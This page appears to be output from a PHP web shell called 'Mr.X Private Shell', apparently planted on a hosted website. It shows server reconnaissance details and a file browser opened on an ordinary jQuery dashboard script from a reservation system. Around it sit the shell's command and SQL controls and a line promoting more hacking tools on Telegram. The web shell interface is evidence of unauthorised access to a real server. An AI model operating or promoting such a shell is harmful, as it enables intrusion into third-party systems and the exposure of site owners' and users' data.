Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old///////booked/Web/scripts      ( Reset | Go to )
File Name: dashboard.js
Edit
function Dashboard(opts)
{
    var options = opts;
    
    Dashboard.prototype.init = function()
    {
        $(".dashboard").each(function() { 
            var id = $(this).attr('id');
            var visibility = readCookie(id);
            if (visibility == '0')
            {
                $(this).find('.dashboardContents').hide();
            }
            
            $(this).find('.dashboardHeader a').click(function() {
                var dashboard = $(this).parents('.dashboard').find('.dashboardContents');
                var id = dashboard.parent().attr('id');
                if (dashboard.css('display') == 'none')
                {
                    createCookie(id,'1',30);
                    dashboard.show();
                }
                else
                {
                    createCookie(id,'0',30);
                    dashboard.hide();
                }
            });
        });
        
        $(".reservation").each(function() {
            var refNum = $(this).attr('id');

            $(this).qtip({
                position: 
                {
                      my: 'bottom left',  
                      at: 'top left',
                      target: $(this)
                },

                content:
                {
                    text: 'Loading...',
                    ajax: 
                    {
                         url: options.summaryPopupUrl,
                         type: 'GET',
                         data: { id: refNum },
                         dataType: 'html'
                      }
                },
                
                show: 
                {
                    delay: 700
                }

            });
            
            $(this).hover(
                 function () {
                    $(this).addClass('hover');
                  }, 
                  function () {
                    $(this).removeClass('hover');
                  }
            );
            
            $(this).mousedown(function() { 
                $(this).addClass('clicked'); 
            });
                
            $(this).mouseup(function() { 
                $(this).removeClass('clicked'); 
            });
            
            $(this).click(function() {
                window.location = options.reservationUrl + refNum;
            });
        })
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL